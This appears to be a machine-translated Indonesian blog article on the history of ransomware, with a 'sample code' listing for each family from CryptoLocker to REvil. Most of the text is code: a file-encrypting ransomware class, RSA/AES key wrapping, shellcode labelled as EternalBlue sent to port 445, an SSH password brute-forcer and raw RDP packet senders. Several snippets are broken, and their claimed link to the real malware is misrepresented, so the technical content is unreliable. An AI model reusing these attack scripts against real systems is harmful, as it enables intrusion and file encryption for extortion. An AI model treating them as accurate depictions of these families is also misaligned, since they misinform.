Evolusi yang Mengesankan dari Kode Ransomware
Mengikuti sejarah Ransomware seperti menonton film horor di mana penjahatnya semakin pintar dan canggih. Ada sesuatu yang menarik sekaligus menakutkan tentang evolusi ransomware. Dalam artikel ini, saya akan mengajak Anda menyelami lebih dalam garis waktu bersejarah dan menunjukkan kepada Anda apa yang membuat program jahat ini begitu sulit dihentikan.
Ransomware pertama yang diketahui, dikenal sebagai Trojan AIDS, muncul pada tahun 1989. Sejak saat itu, ransomware telah berkembang secara signifikan, menjadi salah satu jenis malware yang paling umum dan merusak. Artikel ini akan mengikuti evolusi ransomware, dari hari-hari awal CryptoLocker hingga WannaCry yang terkenal dan serangan ransomware Maze dan REvil yang lebih baru, sambil menjelaskan bagaimana setiap jenis ransomware bekerja dengan sampel kode aktual.
2013: Pengunci Kripto
CryptoLocker adalah ransomware pertama yang menggunakan kriptografi kunci publik untuk mengenkripsi file. Itu didistribusikan melalui lampiran email dan mengeksploitasi kerentanan di Java dan Adobe Reader untuk menginfeksi sistem. Setelah menginfeksi sistem, itu mengenkripsi semua file di sistem dan meminta pembayaran dalam Bitcoin untuk memberikan kunci dekripsi.
Contoh Kode:
import os
import random
import string
from Crypto.Cipher import AES
class CryptoLocker:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
Metode decrypt_file
mengambil nama file input dan nama file output opsional dan ukuran potongan. Itu membaca file input, mengekstrak ukuran file asli dan IV, dan mendekripsi data terenkripsi menggunakan kunci enkripsi dan IV yang sama. Itu menulis data yang didekripsi ke file keluaran dan memotongnya ke ukuran file asli. Contoh penggunaan kelas disediakan di akhir kode, di mana CryptoLocker
objek dibuat dengan kunci rahasia, file input dienkripsi, dan kemudian didekripsi.
2016: Mengunci
Locky didistribusikan melalui kampanye email dan menggunakan kombinasi enkripsi RSA dan AES untuk mengenkripsi file. Itu menuntut pembayaran dalam Bitcoin untuk memberikan kunci dekripsi. Diperkirakan telah menginfeksi lebih dari 100.000 sistem dalam beberapa minggu pertama peluncurannya.
Contoh Kode:
import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# Generate RSA key pair
key = RSA.generate(2048)
# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')
# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)
# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
f.write(ciphertext)
with open('encrypted_key.bin', 'wb') as f:
f.write(cipher_rsa)
2017: Ingin Menangis
Pada 2017, ransomware WannaCry menyebar dengan cepat ke seluruh dunia, menginfeksi ratusan ribu komputer di lebih dari 150 negara. WannaCry mengeksploitasi kerentanan di sistem operasi Windows bernama EternalBlue, yang diduga dikembangkan oleh NSA
Sifat serangan yang meluas dan sistem kritis yang terkena dampak menggarisbawahi kebutuhan organisasi untuk memprioritaskan keamanan dunia maya dan memelihara perangkat lunak dan protokol keamanan terkini untuk mencegah serangan semacam itu.
Contoh Kode:
import socket
# EternalBlue exploit code
exploit = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
b"\xc3"
)
# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send exploit code
sock.send(exploit)
# Close the socket
sock.close()
Penting untuk diingat bahwa kode ini, seperti contoh lainnya dalam artikel ini, murni untuk tujuan pendidikan dan tidak boleh digunakan untuk aktivitas jahat apa pun.
2018: Sam Sam
SamSam adalah ransomware yang pertama kali diidentifikasi pada tahun 2018. Tidak seperti banyak serangan ransomware lainnya yang menggunakan email phishing untuk mendapatkan akses ke sistem korban, SamSam menggunakan kekerasan untuk mendapatkan akses ke server yang belum ditambal. Begitu masuk, ransomware mengenkripsi file dan meminta pembayaran dalam Bitcoin.
Contoh Kode:
import paramiko
import time
target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
ssh.connect(target_server, port=port, username=username, password=password)
print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
# Do malicious activities here
ssh.close()
break
except paramiko.AuthenticationException:
print(f"Failed to log in to {target_server} with username {username} and password {password}.")
time.sleep(1)
2019: Ryuki
Ryuk diyakini berasal dari Korea Utara dan telah digunakan untuk menargetkan target bernilai tinggi seperti rumah sakit dan lembaga pemerintah. Ini ternyata salah dan pada awalnya digunakan oleh banyak organisasi kriminal yang berbeda. Ryuk biasanya dikirimkan melalui email phishing atau dengan mengeksploitasi kerentanan dalam protokol desktop jarak jauh.
Contoh Kode:
import socket
RDP_PORT = 3389
def exploit_rdp_vulnerability(target_ip):
# Establish a connection to the target RDP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_ip, RDP_PORT))
except:
print(f"Connection failed to {target_ip}:{RDP_PORT}")
return
# Send a malicious RDP message to trigger the vulnerability
# In a real attack, this would contain the ransomware payload
# In this safe example, I will just print the message for demonstration purposes
message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
s.sendall(message)
# Receive the server's response and print it for demonstration purposes
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
# Example usage
exploit_rdp_vulnerability('192.168.1.100')
2019: Labirin
Maze mengenkripsi file korban dan meminta pembayaran sebagai ganti kunci dekripsi. Namun, ransomware Maze juga memiliki reputasi untuk mencuri data sensitif dari korban dan mengancam akan mempublikasikannya jika tebusan tidak dibayarkan, menjadikannya jenis ransomware “ pemerasan ganda ”.
Ransomware Maze diketahui mengeksploitasi kerentanan dalam protokol desktop jarak jauh (RDP) untuk mendapatkan akses ke sistem, bersama dengan email phishing biasa.
Contoh Kode:
import socket
HOST = '192.168.1.100'
PORT = 3389
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print(data)
# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)
data = s.recv(1024)
print(data)
# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)
data = s.recv(1024)
print(data)
# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)
data = s.recv(1024)
print(data)
# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)
data = s.recv(1024)
print(data)
s.close()
2021: Pemberontakan
Salah satu serangan ransomware paling menonjol dalam beberapa tahun terakhir adalah serangan ransomware REvil pada Juli 2021. Serangan tersebut menargetkan penyedia perangkat lunak bernama Kaseya, yang menyediakan perangkat lunak manajemen jarak jauh ke perusahaan lain. Penyerang dapat memperoleh akses ke perangkat lunak Kaseya dan mendistribusikan malware ke ratusan klien mereka, mengakibatkan serangan ransomware yang meluas.
REvil menggunakan enkripsi yang kuat untuk mengenkripsi file korban dan menuntut pembayaran uang tebusan sebagai ganti kunci dekripsi. Seperti kebanyakan grup ransomware di era ini, bitcoin digunakan sebagai metode pembayaran.
Contoh Kode:
import os
import random
import string
from Crypto.Cipher import AES
class Ransomware:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
Dalam contoh penggunaan, kunci didefinisikan, dan turunan kelas Ransomware
dibuat menggunakan kunci ini. Metode ini encrypt_file
dipanggil pada file bernama 'important_file.docx', yang membuat file terenkripsi bernama 'important_file.docx.enc'. Terakhir, decrypt_file
metode tersebut dipanggil pada file terenkripsi untuk mendekripsinya kembali ke bentuk aslinya.
Saya harap artikel ini memberikan beberapa perspektif yang sangat dibutuhkan tentang bagaimana ransomware telah berevolusi dan bagaimana itu menjadi ancaman terbesar kami karena kemudahan penerapan dan monetisasi instan dari aktivitas ilegal. Namun, harus diingat langkah-langkah dalam beberapa tahun terakhir untuk mengekspos dan mendidik masyarakat umum tentang hal ini.